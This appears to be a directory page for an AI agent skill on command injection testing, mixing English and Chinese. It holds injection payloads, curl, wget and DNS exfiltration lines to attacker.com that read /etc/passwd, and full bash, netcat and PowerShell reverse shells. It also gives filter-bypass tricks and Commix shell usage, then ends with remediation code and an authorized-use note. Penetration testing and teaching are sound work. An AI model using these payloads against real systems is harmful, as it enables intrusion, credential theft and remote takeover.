SuperAPI AI Directory

command-injection-testing

Security & auditing

View repository

Updated 10-16 04:58

About this skill

Command Injection Vulnerability Testing

Overview

Command injection is a vulnerability that executes system commands through an application. When an application passes user input directly to a system command, an attacker can execute arbitrary commands. This skill provides methods for detecting, exploiting, and preventing command injection.

Vulnerability Principle

When an application invokes a system command, it does not adequately validate and filter user input, allowing an attacker to inject additional commands.

Dangerous code example:

// PHP
system("ping " . $_GET['ip']);

// Python
os.system("ping " + user_input)

// Node.js child_process.exec("ping " + user_input)


## 测试方法

### 1. 识别命令执行点

**常见功能:**
- Ping功能
- DNS查询
- 文件操作
- 系统信息
- 日志查看
- 备份恢复

### 2. 基础检测

**测试命令分隔符:**

; # Command separator (Linux/Windows) & # Background execution (Linux/Windows) | # Pipe character (Linux/Windows) && # Logical AND (Linux/Windows) || # Logical OR (Linux/Windows) ` # Command substitution (Linux) $() # Command substitution (Linux)


**测试Payload:**

127.0.0.1; id 127.0.0.1 && whoami 127.0.0.1 | cat /etc/passwd 127.0.0.1 whoami 127.0.0.1 $(whoami)


### 3. 盲命令注入

**时间延迟检测:**

127.0.0.1; sleep 5 127.0.0.1 && sleep 5 127.0.0.1 | sleep 5


**外带数据:**

127.0.0.1; curl http://attacker.com/?$(whoami) 127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd)


**DNS外带:**

127.0.0.1; nslookup $(whoami).attacker.com


## 利用技术

### 基础命令执行

**Linux:**

; id ; whoami ; uname -a ; cat /etc/passwd ; ls -la


**Windows:**

& whoami & ipconfig & type C:\Windows\System32\drivers\etc\hosts & dir


### 文件操作

**读取文件:**

; cat /etc/passwd ; type C:\Windows\System32\config\sam ; head -n 20 /var/log/apache2/access.log


**写入文件:**

; echo "" > /tmp/shell.php ; echo "test" > C:\temp\test.txt


### 反弹Shell

**Bash:**

; bash -i >& /dev/tcp/attacker.com/4444 0>&1


**Netcat:**

; nc -e /bin/bash attacker.com 4444 ; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f


**PowerShell:**

& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"


## 绕过技术

### 空格绕过

${IFS}id ${IFS}whoami $IFS$9id <> %09 (Tab) %20 (Space)


### 命令分隔符绕过

**编码绕过:**

%3b (;) %26 (&) %7c (|)


**换行绕过:**

%0a (line feed) %0d (carriage return)


### 关键字过滤绕过

**变量拼接:**
```bash
a=w;b=ho;c=ami;$a$b$c

Wildcard:

/bin/c?t /etc/passwd
/usr/bin/ca* /etc/passwd

Quote bypass:

w'h'o'a'm'i
w"h"o"a"m"i

Backslash:

w\ho\am\i

Base64 encoding:

echo "d2hvYW1p" | base64 -d | bash

Length limit bypass

Using files:

echo "id" > /tmp/c
sh /tmp/c

Using environment variables:

export x='id';$x

Tool Usage

Commix

# 基础扫描
python commix.py -u "http://target.com/ping?ip=127.0.0.1"

# 指定注入点
python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE"

# 获取Shell
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shell

Burp Suite

  1. Intercept requests
  2. Send to Intruder
  3. Use command injection payload lists
  4. Observe responses or time delays

Verification and Reporting

Verification Steps

  1. Confirm that system commands can be executed
  2. Verify command execution results
  3. Assess impact (system control, data leakage, etc.)
  4. Record the complete POC

Reporting Points

  • Vulnerability location and input parameters
  • Types of commands that can be executed
  • Complete exploitation steps and POC
  • Remediation recommendations (input validation, parameterization, whitelisting, etc.)

Protective Measures

Recommended Solutions

  1. Avoid command execution

    • Use APIs instead of system commands
    • Use library functions instead of commands
  2. Input validation

    import re
    
    def validate_ip(ip):
        pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
        if not re.match(pattern, ip):
            raise ValueError("Invalid IP")
        parts = ip.split('.')
        if not all(0 <= int(p) <= 255 for p in parts):
            raise ValueError("Invalid IP range")
        return ip
    
  3. Parameterized commands

    import subprocess
    
    # 危险
    subprocess.call(['ping', '-c', '1', user_input])
    
    # 安全 - 使用参数列表
    subprocess.call(['ping', '-c', '1', validated_ip])
    
  4. Whitelist validation

    ALLOWED_COMMANDS = ['ping', 'nslookup']
    ALLOWED_OPTIONS = {'ping': ['-c', '-n']}
    
    if command not in ALLOWED_COMMANDS:
        raise ValueError("Command not allowed")
    
  5. Least privilege

    • Run applications with low-privilege users
    • Restrict file system access
    • Use chroot or container isolation
  6. Output filtering

    • Limit output content
    • Filter sensitive information
    • Log command execution

Notes

  • Only conduct in authorized test environments
  • Avoid causing damage to systems
  • Pay attention to command differences across operating systems
  • During testing, pay attention to the scope of impact of command execution